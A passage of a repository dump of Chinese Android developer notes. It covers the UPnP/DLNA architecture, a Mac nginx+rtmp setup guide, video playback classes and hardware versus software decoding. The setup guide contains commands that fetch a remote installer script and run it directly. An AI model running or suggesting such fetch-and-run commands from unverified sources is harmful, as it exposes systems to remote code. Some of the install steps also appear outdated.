MS\n\nRenderingControl  RCS\n\nScheduledRecording  SRS\n\n\n在UPnP AV Architecture:1 (Document Version: 1.1) 文档最开始的是这样介绍的UPnP AV的：\n\n本文档描述了整体的UPnP AV 架构 。该架构是 UPnP AV 设备和服务范例的基础架构。\n\n该架构定义了 UPnP 控制端与 UPnP AV设备基本交互，并且与特定设备类型，媒体内容格式与传输协议无关。它支持如电视机，录像机和 CD / DVD 播放机 / 自动点唱机，机顶盒，音响系统， MP3 播放器，静止图像照相机，摄像机，电子相框，以及 PC 等各种设备，。该 AV 架构允许设备支持不同格式的多媒体格式（如 MPEG2， MPEG4 和 JPEG 格式， MP3 ， Windows 媒体架构（ WMA ），位图（ BMP ）， NTSC 制式， PAL 制式，ATSC 标准等）和多种类型的传输协议，如 IEC-61883/IEEE-1394 ， HTTP GET ， RTP 协议， HTTP 的 PUT/邮政， TCP / IP 协议等）。以下各节描述了 AV 架构，以及如何各种 UPnP AV 设备和服务协同工作，使各种最终用户的情况。\n\n“与特定设备类型，媒体内容格式与传输协议无关”的内在含意是 UPnP AV Architecture只是提供了某种机制、模型，并没有规定采用何种技术来实现。技术的实现部分在  UPnP Device Architecture中有说明。\n\nUPnP AV Architecture 定义了 UPnP AV 设备间媒体传送以及和 CP 间的交互。 UPnP AV 也定义了两种 UPnP AV 设备： UPnP AV MediaServer （ MS ）和 UPnP AV MediaRender （ MR ），以及他们具有的 4 种服务：\n\n- Content Directory Service(CDS) ：能将可访问的媒体内容列出。\n\n- Connection Manager Service(CMS) ：决定媒体内容可以通过何种方式由 UPnP AV Media Server 传送至 UPnP AV MediaRender 。\n\n- AVTransport Service ：控制媒体内容，比如播放、停止、暂停、查找等。\n\n- Rendering Control Service ：控制以何种方式播放内容，比如音量、静音、亮度等。\n\nUPnP协议概述\n---\n\n随着越来越多的设备联入网络，对于共享设备以及共享设备提供的资源和服务的需求也越来越强烈，透明的访问各种联入网络的资源也成为了一种非常复杂的任务。因此，在1999年，Microsoft公司开始大张旗鼓地宣传下一代即插即用技术--通用即插即用（ Universal Plug and Play，简称UPnP）。UPnP实际上是扩展了传统单机的设备和计算机系统的概念，在\"零配置\"的前提下提供了连网设备之间的发现、接口声明和其他信息的交换等互动操作功能。Microsoft公司称\"UPnP将延伸到家庭中的每一个设备，它会成为个人电脑、应用程序、智能设备集成工作所必需的框架、协议和接口标准\"。\n\nUPnP是实现智能设备端到端网络连接的结构。它也是一种架构在TCP/IP和HTTP技术之上的，分布式、开放的网络结构，以使得在联网的设备间传递控制和数据。UPnP 技术实现了 控制点、 设备和 服务之间通讯的支持，并且设备和相关服务的也使用XML定义并且公布出来。使用UPnP，设备可以动态加入网络，自动获得一个IP地址，向其他设备公布它的能力或者获知其他设备的存在和服务，所有这些过程都是自动完成的，此后设备能够彼此直接通讯。\n\nUPnP不需要设备驱动程序，因此使用UPnP建立的网络是介质无关的。同时UPnP使用标准的TCP/IP和网络协议，使它能够无缝的融入现有网络。构造UPnP应用程序时可以使用任何语言，并在任何操作系统平台上编译运行。对于设备的描述，使用HTML表单表述设备控制界面。它既允许设备供应商提供基于浏览器的用户界面和编程控制接口，也允许开发人员定制自己的设备界面。\n\n典型应用场景\n\n随着PC成为网络的中心并提供日益丰富的介质和连接服务，在设备与PC相连之后，越来越多的应用将被开发出来。下面的例子只是其中很小的一部分：\n\n智能家庭网络 \n许多智能家居环境使用了现存的家庭控制网络，例如X10网络来控制和监控整个家居环境，比如灯光，安防和其他家庭设备。这些网络可以连接PC上，但是除了PC之外，不能被其他的设备存取。使用UPnP设备可以桥接这些网络成为一个网络，并提供用户更多设备存取家庭网络中的设备。在实现时也无须对X10网络中的现有布线和设备进行昂贵的升级，只需要将设备变成UPnP设备并能够与控制点通讯并接受控制点的控制命令。\n数字音频文件管理 \n可以在PC和其他设备上播放的数字化音频文件在近几年正在成指数级的增长。一个家庭中，可能有几台计算机或者其他设备用于保存这些音频文件。使用UPnP可以使这些分布在不同PC上的音乐库被统一的管理。这些设备能被发现然后被其他控制点（比如个人电脑、UPnP接收器）控制。同时这些控制点也可以控制家庭中的任何一个扬声器。\n数字图片库 \n许多家庭使用数字相机拍照，或者将已有照片扫描保存，然后将这些照片上载到他们的计算机中保存。在计算机中对其进行分类，或者以幻灯片的形式进行显示。随着照片的增加，照片可能保存在多种设备或者多种介质上，比如光盘、硬盘、Flash卡。使用UPnP技术，图片库可以自己作为一个设备存在，并自动在网络上声明。这使得一个照片库可能临时为多个应用程序使用，例如可以进行幻灯片显示的同时，在电子像框、机顶盒和电视上进行显示。\n\nUPnP的关键术语\n\n1. Auto-IP \n在Ipv4网络中自动选择一个IP地址。你可以访问IETF文档， http://search.ietf.org/internet-drafts/draft-ietf-dhc-ipv4-autoconfig-05.txt。     \n\n2. DHCP \n动态主机控制协议，可以访问 RFC 2131获得更详细的信息。    \n\n3. HTTPMU \n在UDP上实现HTTP协议的多址传送。    \n\n4. HTTPU \n在UDP上实现普通的HTTP传送协议。    \n\n5. SOAP \n简单对象存取协议（Simple Object Access Protocol ），它是一种应用程序之间进行数据通讯的机制。它是一种在HTTP上使用XML发送命令并接收值的远程过程调用。    \n\n6. UPC \n通用产品编码的缩写（Universal Product Code），它由12个数字构成，由统一编码委员会（Uniform Code Council）管理。这个值可由UPnP制造商指定。     \n\n7. 单一设备名（UDN） \n单一设备名（Unique Device Name）基于UUID，每个表示一个设备。在不同的时间，对于同一个设备此值应该是唯一的。    \n\n8. 设备  \n设备是指其他服务或者是设备的容器。一个设备可以包含其他的逻辑设备。\n\n9. 设备描述     \n设备描述包含一个物理设备上所有设备一系列通用属性，它包括服务，设备结构和设备属性。\n\n10. 设备类型 \n设备类型的一般格式为 urn:schemas-upnp-org:device:uuid-device，uuid-device 为UPnP工作委员会定义的标准设备类型。在UPnP设备模版和设备类型之间是一一对应的，设备制造商也可以指定其他的名字，一般格式为 urn:domain-name:device:uuid-device， uuid-device为制造商定义的标准设备类型，domain-name字段为设备制造商注册的域名。    \n\n11. 根设备 \n根设备是指处于设备树最顶层的设备。    \n\n12. 控制点 \n控制点是一个控制器，它可以检索设备和服务描述，发送动作到服务，查询服务的状态变量和从服务接收事件。允许用户使用或运行一个设备，例如CD播放机，的程序可以认为是控制点。    \n\n13. 动作 \n表示客户端发出的完成特定功能的命令。\n\n14. 事件 \n事件是指服务的状态变量的一个或多个改变的通知。\n\n15. 事件变量 \n事件变量是指在改变一个服务的状态变量时触发事件的变量。任何订阅此变量的事件源的控制点将接收到改变通知。非事件变量与事件通知没有关系。\n\n16. 服务 \n服务是一个逻辑功能单位，服务代表动作和使用状态变量的物理设备的部分或所有状态。\n\n17. 服务描述 \n服务描述是指设备提供的一系列动作以及和动作相关的状态变量。\n\n18. 服务类型 \n服务类型是表示服务的统一资源名。服务类型和UPnP服务模版之间是一一对应的。UPnP任务组定义了几种标准的服务类型。服务类型的一般格式为： urn:schemas-upnp-org:service:serviceType:version。例如，扫描仪的服务类型应该为 urn:schemas-upnp-org:service:scanner:1。 UPnP设备制造商可以指定附加服务，这样的服务一般格式为：urn:domain-name:service:serviceType:version ， domain-name字段为设备制造商注册的域名。\n\n19. 状态变量 \n状态变量是用于描述服务状态的数据片断。\n\nUPnP设备工作过程\n---\n\nUPnP定义了设备之间、设备和控制点、控制点之间通讯的协议。完整的UPnP由设备寻址、设备发现、设备描述、设备控制、事件通知和基于Html的描述界面几部分构成。\n在最高层中仅包含UPnP制造商定义的特定设备信息，紧接着UPnP工作组定义的内容补充制造商信息。从这层往下，定义的消息为UPnP特定的消息。也就是说，这些消息定义为以下几个协议：简单设备发现协议（Simple Service Discovery Protocol ），通用事件通知结构（General Event Notification Architecture）和 简单对象存取协议（Simple Object Access Protocol）。这些消息使用 HTTPU或者 HTTPMU发送。\n\n1. 设备寻址\n\n    UPnP网络的基础就是TCP/IP协议族，UPnP设备能在TCP/IP协议下工作的关键就是正确的设备寻址。一个UPnP设备寻址的一般过程是：首先向 DHCP服务器发送DHCPDISCOVER消息，如果在指定的时间内，设备没有收到DHCPOFFERS回应消息，设备必须使用 Auto-IP完成IP地址的设置。使用Auto-IP时，设备在地址范围169.254/169.16范围中查找空闲的地址。在选中一个地址之后，设备测试此地址是否在使用。如果此地址被占用，则重复查找过程直到找到一个未被占用的地址，此过程的执行需要底层操作系统的支持，地址的选择过程应该是随机的以避免多个设备选择地址时发生多次冲突。为了测试选择的地址是否未被占用，设备必须使用地址分辨协议（ARP）。一个ARP查询请求设置发送者的硬件地址为设备的硬件地址，发送者的IP地址为全0。设备应该侦听ARP查询响应，或者是否存在具有相同IP地址的ARP查询请求。如果发现，设备必须尝试新的地址。\n    使用Auto IP的设备必须定时检测DHCP服务器是否存在，这可以通过定时发送DHCPDISCOVER消息实现，如果接收到DHCPOFFERS回应消息，设备必须释放Auto IP分配的地址，此时设备必须取消所有的广告消息并重新发出新的。\n    一个设备可以使用UPnP之外的更高层的协议，这些协议将为设备使用友好的名称。在这种情况下，将这些友好的主机名解析为IP地址就很必要了，DNS通常是用来实现此功能的。使用此功能的设备可能要包含一个DNS客户端，而且支持动态的DNS注册，通过注册将它自己的名字加入到地址分布图中。\n\n2. 设备发现\n\n    一旦设备连接到网上并且分配了地址，就要进行发现的操作了。设备发现是UPnP网络实现的第一步。设备发现是由简单发现协议SSDP（Simple Service Discovery Protocol）来定义的。在设备发现操作之后，控制点可以发现感兴趣的设备，并使得控制点获得设备能力的描述，同时控制点也可以向设备发送命令，侦听设备状态的改变，并将设备展示给用户。\n    当一个设备加入到网络中，设备发现过程允许设备向网络上的控制点告知它提供的服务。当一个控制点加入到网络中时，设备发现过程允许控制点寻找网络上感兴趣的设备。在这两种情况下，基本的交换信息就是发现消息。发现消息包括设备的一些特定信息或者某项服务的信息，例如它的类型、标识符、和指向XML设备描述文档的指针。\n    在一个新设备加入网络时，如果它存在多个嵌入设备，那么它将多目传送一系列发现消息公开它的设备和服务。任何感兴趣的控制点可以在此标准的多目地址上监听新服务可用通知消息。同样，在一个控制点加入网络时，它多目传送发现消息寻找相关设备或服务。所有的设备必须在标准多目传送地址上监听这些消息并且存在匹配的设备或服务时自动响应发现消息。在设备从网络中除去时，它也应该发出一系列声明，表示此设备包含的设备和服务已经失效。下图表示设备和控制点交互的一般过程：\n    简单发现协议（SSDP）定义了在网络中发现网络服务，控制点定位网络上相关资源和设备在网络上声明其可用性的方法。它是建立在 HTTPU和 HTTPMU的基础上的，用于控制设备发送声明和离开消息，以及控制点发送的查询消息实现设备发现操作的。简单发现协议使用租用模型减少了本来是必需的系统开销，网络上的每一个控制点拥有网络状态的全部信息并保持着网络较低的通讯量。为了增加租用模型的健壮性，简单发现协议通过定期发送声明消息的办法保证在设备超时决定设备是否可以使用。缺省的声明消息租用时间是30分钟。\n\n3. 设备描述\n\n    UPnP网络结构的第二步是设备描述。在控制点发现了一个设备之后，控制点仍然对设备知之甚少，控制点可能仅仅知道设备或服务的UPnP类型，设备的UUID和设备描述的URL地址。为了让控制点更多的了解设备和它的功能或者与设备交互，控制点必须从发现消息中得到设备描述的URL，通过URL取回设备描述。设备描述的一般过程：\n\n    对于一个设备的UPnP描述一般分成两个部分：描述设备和描述设备提供的服务。UPnP对某一设备的描述以XML形式表示出来，设备描述包括制造商信息，包括模块名称和编号，序列号，制造商名称，制造商网站的URL等等。设备描述也包括所有嵌入设备描述和URL地址集。对于一个物理设备可以包含多个逻辑设备，多个逻辑设备既可以是一个根设备其中嵌入多个设备，也可以是多个根设备的方式实现。设备描述是由设备制造商提供的，采用XML表述，并且遵循UPnP设备模版。此模版是由UPnP工作委员会生成的。\n    UPnP服务描述包括一系列命令或者动作，服务响应，动作的参数。服务的描述也包含一系列变量，这些变量描述了服务运行时刻的状态，这包括数据类型、取值范围和事件特性的描述。服务描述也是由设备制造商提供的，采用XML方式表述，遵循UPnP服务模版。\n\n4. 设备控制\n\n    设备控制是UPnP网络的第三步。在接收设备和服务描述之后，控制点可以向这些服务发出动作，同时控制点也可以轮询服务的状态变量值。发出动作实质上是一种远程过程调用，控制点将动作送到设备服务，在动作完成之后，服务返回相应的结果。设备控制的一般过程如下图：\n    为了控制一个设备，控制点向设备服务发出一个动作。这一般通过向服务的控制URL地址发送一个适当的控制消息，而服务则做出相应的响应。动作的效果可以通过改变一个描述服务运行状态的变量。在这些状态变量改变时，时间将发送到所有相关的控制点。控制点也会轮询服务的状态变量值以获得状态变量的当前值，与发出一个动作的过程相似，控制点向服务的控制URL发送一个适当的查询消息，而服务则返回相应的变量值。每个服务必须保持状态变量的一致性，以便控制点能够轮询并接收到有意义的值。\n\n5. 设备事件\n\n    设备事件是UPnP网络的第四步。一个服务的UPnP描述包括服务响应的动作列表和运行时模拟服务状态的变量列表。当这些变量改变时，服务就会发布更新，则控制点就会收到设备事件。设备事件发送的一般过程如下图：\n    为了订阅事件，订阅者发送一个订阅消息。如果出版者收到此消息，它将以这个订阅的持续时间作为响应。为了保持订阅，订阅者必须在订阅到期之前进行续订。在订阅者不需要出版者发送的事件时，订阅者必须取消这个订阅。出版者通过发送事件消息提醒订阅者状态变量改变。事件消息包含多个状态变量的名字和这些变量的当前值。在订阅者第一次订阅时，需要发送初始化事件消息，这个事件包含所有事件变量的名和值并且允许订阅者出示化服务变量值。为了支持多个控制点，在动作生效之后所有订阅者都将接到通知。事件消息使用HTTP协议传送，事件详细定义在通用事件通知结构（General Event Notification Architecture）协议中。\n\n6. 设备表征    \n\n    设备表征是UPnP设备的最后一步。如果设备有表征的URL，那么控制点就能通过URL得到页面，在浏览器中装载页面，并使得用户根据页面提供的功能控制设备或者浏览设备状态。它具体能完成到什么与设备和表征页面的功能有关。\n    设备表征包含在设备描述的presentationURL字段。设备表征可以完全由设备制造商提供，它采用HTML页的形式，使用HTTP进行发布。\n\n设备发现过程简介\n---\n\nUPnP协议的设备发现过程使用简单服务发现协议（Simple Service Discovery Protocol），此协议为网络客户提供一种无需任何配置、管理和维护网络上设备服务的机制。此协议采用基于通知和发现路由的多播发现方式实现。协议客户端在保留的多播地址239.255.255.250发现服务，同时每个设备服务也在此地址上监听服务发现请求。如果服务监听到的发现请求与此服务相匹配，此服务会使用单播方式响应。每个服务也可以向多播端口发送通知声明服务存在。\n常见的协议请求消息有两种类型，第一种是服务通知，设备和服务使用此类通知消息声明自己存在；第二种是查询请求，协议客户端用此请求查询某种类型的设备和服务。请求消息中包含设备的特定信息或者某项服务的信息，例如设备类型、标识符和指向设备描述文档的URL地址。下图显示这两类通知消息和HTTP协议的关系：\n\n设备发现过程允许控制点使用一个设备类型或标识，或者是服务类型进行查询。这要求标准设备或服务类型，或者设备特定实例的发现和广告消息基于一个独一无二的标识，UPnP设备和服务类型的定义是UPnP论坛工作委员会的责任。从设备获得响应的内容基本上与多址传送的设备广播相同，只是采用单址传送方式。\n\nDLNA开发\n---\n\n目前来说在android中用到的UPNP框架基本为cyberlink框架和cling框架。开心视频和快手看片用的是基于cling框架的dlna开发，而腾讯视频和搜狐视频用的就是基于cyberlink的dlna开发。所以我们也采用了cyberlink这个框架。cyberlink框架效率稍微低而且有几个致命的Bug，但是比较稳定\n\nUPNP协议的几个重要服务:     \n`AVTransport`：传输服务，提供媒体文件传输，播放控制等功能。\n\n`ContentDirectory`：内容目录，用于提供媒体文件浏览，检索，获取媒体文件信息等功能。\n\n`ConnectionManager`：连接管理，用于提供连接方面的管理，例如获取源/目的双方支持的MIME格式信息。\n\n`RendringControl`：渲染控制，用于播放时的一些渲染控制，如调节音量，调节亮度等。厂商也可自定义服务\n\ncyberlink框架的构建,http://www.cybergarage.org/\n但是官网提供的Android开发框架非常不完善，只能实现基本的DMP功能，对于完整框架的使用请使用[CyberLink4Android](https://github.com/CharonChui/CyberLink4Android),该框架针对CyberLink4Java与Android部分进行了整合。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/搭建nginx+rtmp服务器.md",
    "content": "搭建nginx+rtmp服务器\n===\n\n为了更好的进行直播功能的开发，我们需要本地搭建`nginx+rtmp`服务器，下面就是介绍如何在`Mac`上的搭建步骤:  \n\n1. 安装`Homebrew`(有关`Homebrew`的介绍请参考[Homebrew介绍](http://www.cnblogs.com/lzrabbit/p/4032515.html)\n\n    打开终端, 查看是否已经安装了`Homebrew`, 直接终端输入命令`man brew`\n    如果`Mac`已经安装了, 会显示一些命令的帮助信息. 此时输入`Q`退出即可, 直接进入第二步. 反之, 如果没有安装,执行命令 \n    `ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"` \n    如果安装后, 想要卸载 \n    `ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/uninstall)\"`\n\n2. 安装`nginx`\n\n    - 先执行命令`brew tap homebrew/nginx`来`clone nginx`项目到本地\n    - 通过命令`brew install nginx-full --with-rtmp-module`执行安装\n\n    此时, `nginx`和`rtmp`模块就安装好了,输入命令`nginx`然后在浏览器里打开`http://localhost:8080`，如果出现欢迎界面就说明大功告成了。\n\n3. 配置`nginx`和`ramp`\n\n    首先通过命令`brew info nginx-full`查看安装目录， 然后找到`nginx.conf`文件所在位置, 例如`/usr/local/etc/nginx/nginx.conf`。 \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/nginx_path.png?raw=true)\n\n    打开`nginx.confg`文件后在文件的最后一行空白处添加如下代码。\n    \n    ```java\n    rtmp {\n        server {\n            listen 1935;\n            application rtmplive {\n                live on;\n                record off;\n            }\n        }\n    }\n    ```\n    然后通过命令`[path] -s reload`重启`nginx`，我的是`/usr/local/opt/nginx-full/bin/nginx -s reload`。\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/nginx_reload.png?raw=true)\n\n4. 安装`ffmpeg`\n\n    执行命令`brew install ffmpeg`安装`ffmpeg`。  \n\n5. 安装`VLC`播放器\n\n    [VLC](http://www.videolan.org/)下载安装，可用于播放测试`rtmp`协议的流媒体。\n\n6. `Over`.\n\n\n\n参考:  \n\n- [https://github.com/arut/nginx-rtmp-module/wiki](https://github.com/arut/nginx-rtmp-module/wiki)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/视频播放相关内容总结.md",
    "content": "视频播放相关内容总结\n===\n\n多媒体常识：\n---\n\n- 什么是多媒体             \n\n    多媒体是计算机和视频技术的结合，实际上它是两个媒体:声音和图像\n\t\n- 常用的视频格式\n\n\t`Android`系统默认:`mp4`、`3gp`\t           \n\t常用格式:`ts、3gpp、3g2、3gpp2、avi、mkv、flv、divx、f4v、rm、rmvb、rv、wmv、asf、mov、mpg、v8、ram、mpeg、\n\tswf、m2v、asx、ra、ram、ndivx、xvid`等\t \n\t\t\t  \n- 常用音频格式：\n\n\t`Android`系统:`mp3、ogg`           \n\t常用格式:`wma、mid、m4a、xmf、aac、mpa、midi、ar`等\n\t\n- 常用图片格式:`PNG、GIF、BMP、jpg`\n\n- 国内各个视频网站采用的解码框架:  \n\n\t- 优酷、搜狐、奇艺、`pps`、暴风影音土豆、56网都是用的`ffmpeg`.       \n\t- `pptv`已经使用`p2p`技术       \n\t\t点对点技术（`peer-to-peer`， 简称`P2P`）又称对等互联网络技术，是一种网络新技术，依赖网络中参与者的计算能力和带宽，\n\t\t而不是把依赖都聚集在较少的几台服务器上。`P2P`网络通常用于通过`Ad Hoc`连接来连接节点。这类网络可以用于多种用途，\n\t\t各种档案分享软件已经得到了广泛的使用。`P2P`技术也被使用在类似`VoIP`等实时媒体业务的数据通信中。\n                      \n目前常用的开发框架:   \n\n- `VLC`框架:     \n\t`VLC`是一个开源项目，基于`ffmpeg`框架的自定义播放器。其中`LibVLC`是`VLC`的核心部分，就相当于`MediaPlayer`类           \n\t`VLC`一个最主要的部分，它可以播放各种类型的媒体文件和流媒体文件，并且可以创造媒体流并保存成各种格式的媒体文件      \n\t`VLC`是一种跨平台的媒体播放器和流媒体服务器，最初为`videolan`的客户端，它是一种非常简便的多媒体播放器，\n\t它可以用来播放各种各样的音视频的格式文件(`MPEG-1、MPEG-2、MPEG- 4、DivX、WMV、mp3、OGG、Vorbis、AC3、AAC`等等)流媒体协议\n\t最具特色的功能是可以边下载边观看`Divx`媒体文件，并可以播放不完全的`AVI`文件。并且支持界面的更改。          \n\t缺点:有`C/C++`代码，还有`Java`代码，代码太庞大\t         \n\t\n- `ffmpeg`框架:      \n\t优点:轻量级框架，易于维护         \n\t`FFmpeg`是一个集录制、转换、音/视频编码解码功能为一体的完整的开源解决方案         \n\t`FFmpeg`几乎为你把所有的繁重工作都做了，比如解码、编码、复用和解复用。     \n\t这使得多媒体应用程序变得容易编写。它是一个简单的，用`C`编写的，快速的并且能够解码几乎所有你能用到的格式，当然也包括编码多种格式。          \n\t`FFmpeg`支持`MPEG、DivX、MPEG4、AC3、DV、FLV`等40多种编码，支持`AVI、MPEG、OGG、Matroska、AS`F等90多种解码          \n\t`FFmpeg`主目录下主要有`libavcodec、libavformat`和`libavutil`等子目录。其中`libavcodec`用于存放各个`encode/decode`模块\n\t`libavformat`用于存放`muxer/demuxer`模块，`libavutil`用于存放内存操作等辅助性模块\n\t\n- `vitamio`框架:      \n\t`vitamio`也是基于`ffmpeg`开源框架          \n\t`VPlayer`是`vitamio`的一个产品，`vitamio`和`VPlayer`是同一个团队开发的，`VPlayer`能播放的`vitamio`也能播放         \n\t\n\t\n## `Surface`简介\n\n- `Surface`就是“表面”的意思。在`SDK`的文档中，对`Surface`的描述是这样的：“`Handle onto a raw buffer that is being managed by the screen compositor`”，\n\t翻译成中文就是“由屏幕显示内容合成器`(screen compositor)`所管理的原生缓冲器的句柄”，\t这句话包括下面两个意思:     \n\n    - 通过`Surface`（因为`Surface`是句柄）就可以获得原生缓冲器以及其中的内容。就像在`C`语言中，可以通过一个文件的句柄，就可以获得文件的内容一样；\n    - 原生缓冲器（`rawbuffer`）是用于保存当前窗口的像素数据的。\n\n- 简单的说`Surface`对应了一块屏幕缓冲区，每个`Window`对应一个`Surface`，任何`View`都是画在`Surface`上的，传统的`view`共享一块屏幕缓冲区，所有的绘制必须在`UI`线程中进行\n- 我们不能直接操作`Surface`实例，要通过`SurfaceHolder`，在`SurfaceView`中可以通过`getHolder()`方法获取到`SurfaceHolder`实例。\n- `Surface`是一个用来画图形的地方，但是我们知道画图都是在一个`Canvas`对象上面进行的，*`Surface`中的`Canvas`成员，是专门用于提供画图的地方，就像黑板一样，其中的原始缓冲区是用来保存数据的地方，\n\t`Surface`本身的作用类似一个句柄，得到了这个句柄就可以得到其中的`Canvas`、原始缓冲区以及其他方面的内容，所以简单的说`Surface`是用来管理数据的(句柄)*。\n\t\n## `SurfaceView`简介      \n\n- 简单的说`SurfaceView`就是一个有`Surface`的`View`里面内嵌了一个专门用于绘制的`Surface`,`SurfaceView`控制这个`Surface`的格式和尺寸以及绘制位置.`SurfaceView`是一个`View`也许不够严谨，\n\t然而从定义中 `public class SurfaceView extends View`显示`SurfaceView`确实是派生自`View`，但是`SurfaceView`却有着自己的`Surface`，源码：\n    ```java\n    if (mWindow == null) {  ß\n\t\tmWindow = new MyWindow(this);  \n\t\tmLayout.type = mWindowType;  \n\t\tmLayout.gravity = Gravity.LEFT|Gravity.TOP;  \n\t\tmSession.addWithoutInputChannel(mWindow, mWindow.mSeq, mLayout,  \n\t\tmVisible ? VISIBLE : GONE, mContentInsets);  \n    }  \n    ```\n    很明显，每个`SurfaceView`创建的时候都会创建一个`MyWindow`，`new MyWindow(this)`中的`this`正是`SurfaceView`自身，因此将`SurfaceView`和`window`绑定在一起，而前面提到过每个`window`对应一个`Surface`，\n\t所以`SurfaceView`也就内嵌了一个自己的`Surface`，可以认为`SurfaceView`是来控制`Surface`的位置和尺寸。传统`View`及其派生类的更新只能在`UI`线程，然而`UI`线程还同时处理其他交互逻辑，\n\t这就无法保证`view`更新的速度和帧率了，而`SurfaceView`可以用独立的线程来进行绘制，因此可以提供更高的帧率，例如游戏，摄像头取景等场景就比较适合用`SurfaceView`来实现。\n\t\n- `Surface`是纵深排序`(Z-ordered)`的，这表明它总在自己所在窗口的后面。\n- `Surfaceview`提供了一个可见区域，只有在这个可见区域内的`Surface`部分内容才可见，可见区域外的部分不可见，所以可以认为**`SurfaceView`就是展示`Surface`中数据的地方**,`Surface`就是管理数据的地方，\n\t`SurfaceView`就是展示数据的地方，只有通过`SurfaceView`才能展现`Surface`中的数据。           \n\t\n\t![image](https://github.com/CharonChui/Pictures/blob/master/SurfaceView.png?raw=true)   \n\n\n- `Surface`的排版显示受到视图层级关系的影响，它的兄弟视图结点会在顶端显示。这意味者`Surface`的内容会被它的兄弟视图遮挡，这一特性可以用来放置遮盖物`(overlays)`(例如，文本和按钮等控件)。\n\t注意，如果`Surface`上面有透明控件，那么它的每次变化都会引起框架重新计算它和顶层控件的透明效果，这会影响性能。`surfaceview`变得可见时，`surface`被创建；`surfaceview`隐藏前，`surface`被销毁。\n\t这样能节省资源。如果你要查看`surface`被创建和销毁的时机，可以重载`surfaceCreated(SurfaceHolder)`和`surfaceDestroyed(SurfaceHolder)`。\n\t**`SurfaceView`的核心在于提供了两个线程：`UI`线程和渲染线程**,两个线程通过“双缓冲”机制来达到高效的界面适时更新。\n\n## `SurfaceHolder`简介\n\n显示一个`Surface`的抽象接口，使你可以控制`Surface`的大小和格式以及在`Surface`上编辑像素，和监视`Surace`的改变。这个接口通常通过`SurfaceView`类实现。\n简单的说就是我们无法直接操作`Surface`只能通过`SurfaceHolder`这个接口来获取和操作`Surface`。\n`SurfaceHolder`中提供了一些`lockCanvas()`:获取一个`Canvas`对象，并锁定之。所得到的`Canvas`对象，其实就是`Surface`中一个成员。加锁的目的其实就是为了在绘制的过程中，\n`Surface`中的数据不会被改变。`lockCanvas`是为了防止同一时刻多个线程对同一`canvas`写入。\n\n\n*从设计模式的角度来看,`Surface、SurfaceView、SurfaceHolder`实质上就是`MVC(Model-View-Controller)`，`Model`就是模型或者说是数据模型，更简单的可以理解成数据，在这里也就是`Surface`，\n`View`就是视图，代表用户交互界面，这里就是`SurfaceView`,`SurfaceHolder`就是`Controller.`*\n\n\n## MediaController\n\n- `MediaController`继承`FrameLayout`，通过`MediaPlayerControl`接口与`VideoView`进行结合控制，内部是通过`PopupWindow`将整个控制栏界面显示到界面上，\n\t而该`PopupWindow`所显示在的位置就是通过`setAnchorView()`设置进来的`Anchor`一般可以使当前的`VideoView`或者是整个`Activity`的根布局。这里要分为小屏和全屏两种情况来进行设置。\n\t如果当前的`MediaController`只是播放前下面的控制栏部分(进度条、快进、快退、暂停等)这样我们可以通过对VideoView设置点击事件，控制它的显示和隐藏。\n\t如果`MediaController`为整个屏幕包括了控制栏部分、上端的信息显示部分、以及左右栏的功能部分、这时候就可以通过对`MediaController`本身设置点击事件来控制显示和隐藏。         \n\t\n`Controller`可以用`PopupWindow`来实现,具体有两种方式:     \n\n- 整个控制栏(上面的信息部分、下面的控制部分以及左右边)都在`Controller`中，`setAnchorView()`的时候就会让`Controller`中的`PopupWindow`显示出来(一直显示，但是这个`PopupWindow`是透明的)，\n\t真正的显示与隐藏是控制在`PopupWindow`中的`View`部分的显示与隐藏来实现。开始的时候我是想用这种方式，当时我想的是播放就播放、控制就控制，分离开来多好，但是没想到，\n\t一旦有`PopupWindow`显示出来后，Activity是接收不到任何`Touch`事件的，所有的重试界面等都要放到`Controller`中实现(手势处理等)。但是也有好处，就是不管显示还是隐藏都可以去处理手势.\n\t\t\n- `PopupWindow`不是全屏的，只包含下面真正的控制部分(快进、快退、暂停等,不包含上面的信息部分和左右边),而且也不是开始就显示，显示隐藏是通过控制`PopupWindow`的显示与隐藏来进行的。\n\t而对于信息部分、以及左右边都是在`Activity`的布局当中，我们通过接口回调得到`PopupWindow`的显示与隐藏来控制这些布局的显示与隐藏即可。\n\t这样的话我们就需要将手势等全部放到`Activity`中去处理，但是也有一个问题，就是如果`Controller`正在显示的话`Activity`是接收不到`Touch`事件的，就无法处理手势，只能是让`Controller`消失后才能处理手势。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/视频解码之软解与硬解.md",
    "content": "视频解码之软解与硬解\n===\n\n**硬解**：从字面意思上理解就是用硬件来进行解码，通过显卡的视频加速功能对高清视频进行解码，很明显就是一个专门的电路板(这样好理解...)来进行视频的解码，是依靠显卡`GPU`的。                    \n\n**软解**：字面上理解就是用软件进行解码，这样理解也对，但是实际最总还是要硬件来支持的，这个硬件就是`CPU`。\n\n既然有这两种不同的解码方式，我们在开发中该如何进行选择？哪个更好？                     \n\n- 硬解优缺点：                      \n\t显卡核心GPU拥有独特的计算方法，解码效率非常高，而且充当解码核心的模块成本并不高。这样不但能够减轻CPU的负担，还有着低功耗、发热少等特点。但是由于硬解码起步比较晚，\n\t软件和驱动对其的支持度低。硬解码内置有什么样的模块就能够解码什么样的视频，面对网络上杂乱无章的视频编码格式，不可能做到完全兼容同。此外，硬解码的滤镜、字母、画质增强方面都做的十分不足。\n                               \n    优点：低功耗、发热少、效率高。              \n\t缺点：视频兼容性差、支持度低。                \n\n- 软解优缺点：                    \n    软解码技术的解码过程中，需要对大量的视频信息进行运算，对CPU性能的要求非常高。尤其是对高清晰度大码率的视频来说，巨大的运算量就会造成转换效率低、发热量大等问题。\n\t但是由于软解码的过程中不需要复杂的硬件支持，兼容性非常高。即使是新出的视频编码格式，只要安装好相应的解码器文件，就能顺利播放。而且软解码拥有丰富的滤镜、字幕、画面处理优化等效果，\n\t如果`CPU`足够强悍的话，能够实现更加出色的画面效果。\n\t                  \n    优点：  兼容强、全解码、效果好              \n\t缺点：  